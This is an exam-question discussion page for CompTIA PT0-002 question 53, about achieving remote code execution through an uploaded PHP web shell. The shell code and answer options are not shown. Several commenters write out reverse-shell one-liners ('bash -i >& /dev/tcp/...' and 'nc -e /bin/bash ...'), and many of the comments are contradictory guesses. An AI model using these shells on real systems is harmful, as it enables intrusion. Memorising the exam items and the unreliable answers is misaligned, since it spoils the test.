CompTIA Exam PT0-002 Topic 1 Question 53 Discussion

Actual exam question for CompTIA's PT0-002 exam

Question #: 53
Topic #: 1

[All PT0-002 Questions]

During an engagement, a penetration tester was able to upload to a server a PHP file with the following content:

Which of the following commands should the penetration tester run to successfully achieve RCE?

AOption A

BOption B

COption C

DOption D

Show Suggested Answer

Suggested Answer: A

The PHP file uploaded by the penetration tester allows for Remote Code Execution (RCE) by executing the command supplied through the cmd POST parameter. To exploit this, the penetration tester needs to send a POST request to the PHP file with the command they want to execute.

Among the given options, Option A is the most suitable for achieving RCE:

It uses Python's requests library to send a POST request, which is appropriate because the PHP script expects data through the POST method.

The data parameter in the requests.post function is correctly formatted as a dictionary, which is the expected format for sending form data in POST requests. It includes the key cmd with the value id, which is a common command used to display the current user ID and group ID.

The only minor issue with Option A is that it prints the entire response object, which includes not just the response content but also metadata like status code and headers. To print just the response content (which would include the output of the id command), appending .text to the requests.post call would be more precise, but this is a small detail and does not affect the execution of the command.

The other options have various issues:

Option B is close but has a syntax error in the data argument. It uses parentheses () instead of curly braces {} for the dictionary, and also lacks the .text at the end to print the response content.

Options C and D use the requests.get method, which is not suitable in this scenario because the PHP script is expecting data through the POST method, not the GET method. Additionally, Option D has a syntax error similar to Option B.

by Glen at Apr 10, 2024, 02:59 AM

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Nguyet

5 months ago

Mila: Option C looks like it would allow the penetration tester to execute arbitrary commands, achieving RCE.

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Marla

5 months ago

Marla: Can you explain why you think Option C is the right choice?

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Mila

5 months ago

Mila: I disagree, I believe the correct command is Option C.

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Nida

5 months ago

Catalina: Option B seems like it would execute the command stored in $_POST['cmd'], leading to remote code execution.

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Catalina

5 months ago

Why do you say that? What's your reasoning?

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Serina

5 months ago

I think the correct command to run is Option B.

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Veda

5 months ago

Option C looks like it would allow the penetration tester to execute arbitrary commands, achieving RCE.

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Margart

5 months ago

Can you explain why you think Option C is the right choice?

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Ciara

6 months ago

I disagree, I believe the correct command is Option C.

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Nickie

6 months ago

Option B seems like it would execute the command stored in $_POST['cmd'], leading to remote code execution.

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Shelton

6 months ago

Why do you say that? What's your reasoning?

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Ernie

6 months ago

I think the correct command to run is Option B.

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Sylvie

7 months ago

Hmm, I'm not sure any of these options are quite right. We need to think outside the box here. Maybe something like 'python -c 'import os; os.system("whoami")'' or 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'.

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Renato

5 months ago

Good idea. Let's give it a try.

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Jeffrey

5 months ago

That won't work. Let's try 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' instead.

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Cristal

5 months ago

Option D

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Jackie

7 months ago

I bet the answer is going to be something like 'nc' or 'netcat' to establish a reverse shell. That's the go-to for RCE, right?

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Justine

7 months ago

Hmm, let me think about this. The PHP file is executing whatever command is passed in the 'cmd' parameter via POST. So we need to find a command that will give us remote access.

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Brittni

7 months ago

You know, I bet the answer is something like 'nc -e /bin/bash 10.10.10.10 4444'. That's a classic. But then again, they might be trying to throw us off with something more obscure.

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Theron

7 months ago

Yeah, this is a classic RCE scenario. I'm guessing the answer has something to do with the 'system' function in the PHP file.

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Ahmed

7 months ago

Wow, this is a pretty straightforward question. The PHP file they were able to upload allows remote command execution (RCE), so we just need to figure out the correct command to run.

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Willie

7 months ago

I don't know, guys. This feels a little too easy. The real challenge is going to be figuring out which command will give us the most useful information without tipping our hand. We need to be surgical here.

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Alaine

6 months ago

I think we should go with Option D. It might reveal the most valuable information without drawing attention.

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Lorean

6 months ago

Let's stick with Option C for now and see what we can uncover.

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Owen

6 months ago

Option B might be the best bet to gather the necessary information discreetly.

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Sage

6 months ago

What if we try Option D? It could give us the insight we need without causing any issues.

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Rosita

6 months ago

I agree, Option C could provide valuable data without alerting anyone.

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Anisha

6 months ago

I think Option B might give us more useful information without raising any suspicions.

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Shantay

6 months ago

Let's go with Option A. It seems like the safest choice for now.

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Amber

7 months ago

Haha, 'cmd'? Really? That's just begging to be exploited. I bet the answer is something like 'whoami' or 'ls -la'. Let's see if any of these options are that obvious.

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Alesia

7 months ago

I agree, this question really separates the script kiddies from the real pros. Let's see, the PHP code they've provided looks like it's just executing whatever command is passed to it via the 'cmd' POST parameter. Hmm, this is going to be a tough one.

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Bernardo

7 months ago

Wow, this question is a real challenge! I'm glad they're testing us on something practical like RCE (Remote Code Execution) attacks. This is the kind of stuff we need to know to be effective penetration testers.

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